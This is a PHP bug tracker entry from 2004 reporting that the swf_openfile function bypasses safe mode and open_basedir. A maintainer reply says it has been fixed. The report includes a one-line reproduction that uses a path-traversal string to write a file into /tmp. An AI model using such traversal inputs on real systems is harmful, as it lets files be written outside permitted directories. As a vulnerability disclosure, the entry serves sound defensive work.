|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #31270 SWF: Safe-mode can be bypassed
Submitted: 2004-12-23 15:23 UTC Modified: 2005-01-31 23:34 UTC
From: davidl at ngssoftware dot com Assigned:
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 4.3.10 OS: Redhat Linux
Private report: No CVE-ID:
 [2004-12-23 15:23 UTC] davidl at ngssoftware dot com
The swf_openfile function can be used to create files outside of open_basedir when safe mode is enabled.

Reproduce code:
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt", 256, 256, 30, 1, 1, 1);

Expected result:
a file called testswf.txt will be created in /tmp

Actual result:
a file called testswf.txt will be created in /tmp


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2004-12-23 19:04 UTC]
This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
Thank you for the report, and for helping us make PHP better.

PHP Copyright © 2001-2015 The PHP Group
All rights reserved.
Last updated: Fri Nov 27 01:01:30 2015 UTC